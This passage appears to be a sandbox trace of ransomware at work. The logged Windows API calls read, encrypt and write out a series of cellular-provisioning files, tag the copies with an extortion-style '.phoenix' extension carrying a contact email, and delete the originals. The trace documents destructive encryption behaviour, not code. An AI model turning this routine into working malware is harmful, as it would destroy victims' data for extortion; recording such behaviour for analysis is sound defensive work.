	[0248.008] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.008] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cc, lpOverlapped=0x0) returned 1
	[0248.009] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0248.009] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.010] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0248.010] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.010] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0248.010] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0248.010] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0248.010] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0248.010] CloseHandle (hObject=0x2b4) returned 1
	[0248.010] CloseHandle (hObject=0x2e8) returned 1
	[0248.010] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.011] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.011] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.013] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=722) returned 1
	[0248.013] CloseHandle (hObject=0x2e8) returned 1
	[0248.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0248.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.013] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.013] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.013] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.013] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.014] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0248.014] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.014] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d2, lpOverlapped=0x0) returned 1
	[0248.017] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0248.017] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0248.017] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0248.017] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.017] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.017] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0248.017] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.018] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.018] CloseHandle (hObject=0x2e8) returned 1
	[0248.018] CloseHandle (hObject=0x2b4) returned 1
	[0248.018] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml")) returned 1
	[0248.019] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.019] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.019] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=710) returned 1
	[0248.019] CloseHandle (hObject=0x2b4) returned 1
	[0248.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0248.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.019] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.020] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.020] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.020] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.020] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0248.020] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.020] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c6, lpOverlapped=0x0) returned 1
	[0248.022] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0248.022] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.023] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0248.023] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.023] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.023] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0248.023] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.023] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.023] CloseHandle (hObject=0x2b4) returned 1
	[0248.024] CloseHandle (hObject=0x2e8) returned 1
	[0248.024] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml")) returned 1
	[0248.025] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.025] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.025] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=707) returned 1
	[0248.025] CloseHandle (hObject=0x2e8) returned 1
	[0248.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.025] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.025] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.027] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.028] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0248.028] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.028] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c3, lpOverlapped=0x0) returned 1
	[0248.029] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0248.030] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.031] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0248.031] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.031] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0248.031] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0248.031] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0248.031] CryptDestroyKey (hKey=0x151040) returned 1
	[0248.031] CloseHandle (hObject=0x2e8) returned 1
	[0248.031] CloseHandle (hObject=0x2b4) returned 1
	[0248.031] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.033] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.033] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.033] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=788) returned 1
	[0248.033] CloseHandle (hObject=0x2b4) returned 1
	[0248.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.034] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.034] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.034] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.034] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.034] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0248.034] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.034] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x314, lpOverlapped=0x0) returned 1
	[0248.036] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320, dwBufLen=0x320 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320) returned 1
	[0248.036] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x320, lpOverlapped=0x0) returned 1
	[0248.037] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0248.037] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.037] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0248.037] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0248.037] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0248.037] CryptDestroyKey (hKey=0x151100) returned 1
	[0248.037] CloseHandle (hObject=0x2b4) returned 1
	[0248.037] CloseHandle (hObject=0x2e8) returned 1
